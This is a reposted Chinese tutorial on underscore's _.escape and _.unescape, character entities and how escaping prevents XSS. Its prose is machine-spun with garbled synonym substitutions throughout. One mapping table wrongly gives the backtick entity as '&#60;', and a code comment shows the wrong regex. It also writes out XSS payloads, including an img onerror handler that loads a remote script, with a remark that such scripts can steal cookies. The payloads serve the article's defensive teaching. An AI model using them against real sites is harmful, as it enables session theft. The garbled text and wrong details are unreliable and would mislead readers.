underscore 系列之字符实体与 _.escape

媒介

underscore 供应了 _.escape 函数,用于转义 HTML 字符串,替代 &, <, >, “, ‘, 和 ` 字符为字符实体。

_.escape('Curly, Larry & Moe');
=> "Curly, Larry &amp; Moe"

underscore 一样供应了 _.unescape 函数,功能与 _.escape 相反:

_.unescape('Curly, Larry &amp; Moe');
=> "Curly, Larry & Moe"

XSS 进击

然则我们为何须要转义 HTML 呢?

举个例子,一个个人中间页的地点为:www.example.com/user.html?name=kevin,我们愿望从网址中掏出用户的称号,然后将其显如今页面中,运用 JavaScript,我们能够如许做:

/**
 * 该函数用于掏出网址参数
 */
function getQueryString(name) {
    var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
    var r = window.location.search.substr(1).match(reg);
    if (r != null) return unescape(r[2]);
    return null;
}

var name = getQueryString('name');
document.getElementById("username").innerHTML = name;

假如被一个一样懂手艺的人发明的话,那末他能够会动点“坏心机”:

比方我把这个页面的地点修改成:www.example.com/user.html?name=<script>alert(1)</script>

就相当于:

document.getElementById("username").innerHTML = '<script>alert(1)</script>';

会有什么效果呢?

效果是什么也没有发作……

这是由于:

依据 W3C 范例,script 标签中所指的剧本仅在浏览器第一次加载页面时对其举行剖析并实行个中的剧本代码,所以经由过程 innerHTML 要领动态插进去到页面中的 script 标签中的剧本代码在一切浏览器中默许状况下均不能被实行。

万万不要以为如许就平安了……

你把地点改成 www.example.com/user.html?name=<img src=@ onerror=alert(1)> 的话,就相当于:

document.getElementById("d1").innerHTML="<img src=@ onerror=alert(1)>"

此时马上就弹窗了 1。

或许你会想,不就是弹窗个 1 吗?还能怎样?能写若干代码?

那我把地点改成 www.example.com/user.html?name=<img src=@ onerror='var s=document.createElement("script");s.src="https://mqyqingfeng.github.io/demo/js/alert.js";document.body.appendChild(s);' /> 呢?

就相当于:

document.getElementById("username").innerHTML = "<img src=@ onerror='var s=document.createElement(\"script\");s.src=\"https://mqyqingfeng.github.io/demo/js/alert.js\";document.body.appendChild(s);' />";

整顿下个中 onerror 的代码:

var s = document.createElement("script");
s.src = "https://mqyqingfeng.github.io/demo/js/alert.js";
document.body.appendChild(s);

代码中引入了一个第三方的剧本,如许做的事变就多了,从取你的 cookie,发送到黑客本身的服务器,到监听你的输入,到提议 CSRF 进击,直接以你的身份挪用网站的种种接口……

总之,很风险。

为了防备这类状况的发作,我们能够将网址上的值取到后,举行一个特别处置惩罚,再赋值给 DOM 的 innerHTML。

字符实体

题目是怎样举行转义呢?而这就要谈到字符实体的概念了。

在 HTML 中,某些字符是预留的。比方说在 HTML 中不能运用小于号(<)和大于号(>),由于浏览器会误以为它们是标签。

假如愿望正确地显现预留字符,我们必须在 HTML 源代码中运用字符实体(character entities)。

字符实体有两种情势:

  1. &entity_name;
  2. &#entity_number;

比方说我们要显现小于号,我们能够如许写:&lt;&#60;

值得一提的是,运用实体名而不是数字的优点是,称号易于影象。不过害处是,浏览器或许并不支撑一切实体称号(然则对实体数字的支撑却很好)。

或许你会猎奇,为何 < 的字符实体是 &#60 呢?这是怎样举行盘算的呢?

实在很简朴,就是取字符的 unicode 值,以 &# 开首接十进制数字 或许以 &#x开首接十六进制数字。举个例子:

var num = '<'.charCodeAt(0); // 60
num.toString(10) // '60'
num.toString(16) // '3c'

我们能够以 &#60; 或许 &#x3c; 在 HTML 中示意出 <

不信你能够写如许一段 HTML,显现的效果都是 <

<div>&lt;</div>
<div>&#60;</div>
<div>&#x3c;</div>

再举个例子:以字符 ‘喵’ 为例:

var num = '喵'.charCodeAt(0); // 21941
num.toString(10) // '21941'
num.toString(16) // '55b5'

在 HTML 中,我们就能够用 &#21941; 或许 &#x55b5 示意,不过“喵”并不具有实体名。

转义

我们的应对体式格局就是将获得的值中的特别字符转为字符实体。

举个例子,当页面地点是 www.example.com/user.html?name=<strong>123</strong>时,我们经由过程 getQueryString 获得 name 的值:

var name = getQueryString('name'); // <strong>123</strong>

假如我们直接:

document.getElementById("username").innerHTML = name;

如我们所知,运用 innerHTML 会剖析内容字符串,而且转变元素的 HMTL 内容,终究,从款式上,我们会看到一个加粗的 123。

假如我们转义,将 <strong>123</strong> 中的 <> 转为实体字符,即 &lt;strong&gt;123&lt;/strong&gt;,我们再设置 innerHTML,浏览器就不会将其解释为标签,而是一段字符,终究会直接显现 <strong>123</strong>,如许就避免了潜伏的风险。

思索

那末题目来了,我们详细要转义哪些字符呢?

想一想我们之所以要转义 <> ,是由于浏览器会将其以为是一个标签的最先或完毕,所以要转义的字符一定是浏览器会特别看待的字符,那另有什么字符会被特别看待的呢?(O_o)??

& 是一个,由于浏览器会以为 & 是一个字符实体的最先,假如你输入了 &lt;,浏览器会将其解释为 <,然则当 &lt; 是作为用户输入的值时,应当仅仅是显现用户输入的值,而不是将其解释为一个 <

'" 也要注重,举个例子:

服务器端衬着的代码为:

function render (input) {
  return '<input type="name" value="' + input + '">'
}

input 的值假如直接来自于用户的输入,用户能够输入 "> <script>alert(1)</script>,终究衬着的 HTML 代码就变成了:

<input type="name" value=""> <script>alert(1)</script>">

效果又是一次 XSS 进击……

末了另有一个是反引号 `,在 IE 低版本中(≤ 8),反引号能够用于封闭标签:

<img src="x` `<script>alert(1)</script>"` `>

所以我们终究肯定的要转义的字符为:&, <, >, “, ‘, 和 `。转义对应的值为:

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;
` --> &#60;

值得注重的是:单引号和反引号运用是实体数字、而其他运用的是实体称号,这主如果从兼容性的角度斟酌的,有的浏览器并不能很好的支撑单引号和反引号的实体称号。

_.escape

那末详细我们该怎样完成转义呢?我们直接看一个简朴的完成:

var _ = {};

var escapeMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '`': '&#x60;'
};

_.escape = function(string) {
    var escaper = function(match) {
        return escapeMap[match];
    };
    // 运用非捕捉性分组
    var source = '(?:' + Object.keys(escapeMap).join('|') + ')';
    console.log(source) // (?:&|<|>|"|'|`)
    var testRegexp = RegExp(source);
    var replaceRegexp = RegExp(source, 'g');

    string = string == null ? '' : '' + string;
    return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
}

完成的思绪很简朴,组织一个正则表达式,先推断是否能婚配到,假如能婚配到,就实行 replace,依据 escapeMap 将特别字符举行替代,假如不能婚配,申明不须要转义,直接返回原字符串。

值得一提的是,我们在代码中打印了组织出的正则表达式为:

(?:&|<|>|"|'|`)

个中的 ?: 是个什么意思?没有这个 ?: 就不能够婚配吗?我们接着往下看。

非捕捉分组

(?:pattern) 示意非捕捉分组,即会婚配 pattern 但不猎取婚配效果,不举行存储供今后运用。

我们来看个例子:

function replacer(match, p1, p2, p3) {
    // match,示意婚配的子串 abc12345#$*%
    // p1,第 1 个括号婚配的字符串 abc
    // p2,第 2 个括号婚配的字符串 12345
    // p3,第 3 个括号婚配的字符串 #$*%
    return [p1, p2, p3].join(' - ');
}
var newString = 'abc12345#$*%'.replace(/([^\d]*)(\d*)([^\w]*)/, replacer); // abc - 12345 - #$*%

如今我们给第一个括号中的表达式加上 ?:,示意第一个括号中的内容不须要贮存效果:

function replacer(match, p1, p2) {
    // match,示意婚配的子串 abc12345#$*%
    // p1,如今婚配的是字符串 12345
    // p1,如今婚配的是字符串 #$*%
    return [p1, p2].join(' - ');
}
var newString = 'abc12345#$*%'.replace(/(?:[^\d]*)(\d*)([^\w]*)/, replacer); // 12345 - #$*%

_.escape 函数中,纵然不运用 ?: 也不会影响婚配效果,只是运用 ?: 机能会更高一点。

反转义

我们运用了 _.escape 将指定字符转为字符实体,我们还须要一个要领将字符实体转义返来。

写法与 _.unescape 相似:

var _ = {};

var unescapeMap = {
    '&amp;': '&',
    '&lt;': '<',
    '&gt;': '>',
    '&quot;': '"',
    '&#x27;': "'",
    '&#x60;': '`'
};

_.unescape = function(string) {
    var escaper = function(match) {
        return unescapeMap[match];
    };
    // 运用非捕捉性分组
    var source = '(?:' + Object.keys(unescapeMap).join('|') + ')';
    console.log(source) // (?:&|<|>|"|'|`)
    var testRegexp = RegExp(source);
    var replaceRegexp = RegExp(source, 'g');

    string = string == null ? '' : '' + string;
    return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
}

console.log(_.unescape('Curly, Larry &amp; Moe')) // Curly, Larry & Moe

笼统

你会不会以为 _.escape_.unescape 的代码实在是太像了,以至于让人觉得很冗余呢?

那末我们又该怎样优化呢?

我们能够先写一个 _.invert 函数,将 escapeMap 传入的时刻,能够获得 unescapeMap,然后我们再依据传入的 map (escapeMap 或许 unescapeMap) 差别,返回差别的函数。

完成的体式格局很简朴,直接看代码:

/**
 * 返回一个object副本,使其键(keys)和值(values)对调。
 * _.invert({a: "b"});
 * => {b: "a"};
 */
_.invert = function(obj) {
    var result = {};
    var keys = Object.keys(obj);
    for (var i = 0, length = keys.length; i < length; i++) {
        result[obj[keys[i]]] = keys[i];
    }
    return result;
};

var escapeMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '`': '&#x60;'
};
var unescapeMap = _.invert(escapeMap);

var createEscaper = function(map) {
    var escaper = function(match) {
        return map[match];
    };
    // 运用非捕捉性分组
    var source = '(?:' + _.keys(map).join('|') + ')';
    var testRegexp = RegExp(source);
    var replaceRegexp = RegExp(source, 'g');
    return function(string) {
        string = string == null ? '' : '' + string;
        return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
    };
};

_.escape = createEscaper(escapeMap);
_.unescape = createEscaper(unescapeMap);

underscore 系列

underscore 系列目次地点:https://github.com/mqyqingfeng/Blog

underscore 系列估计写八篇摆布,重点引见 underscore 中的代码架构、链式挪用、内部函数、模板引擎等内容,旨在协助人人浏览源码,以及写出本身的 undercore。

假如有毛病或许不严谨的处所,请务必赋予斧正,非常谢谢。假如喜好或许有所启示,迎接 star,对作者也是一种勉励。

    原文作者:冴羽
    原文地址: https://segmentfault.com/a/1190000014056591
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞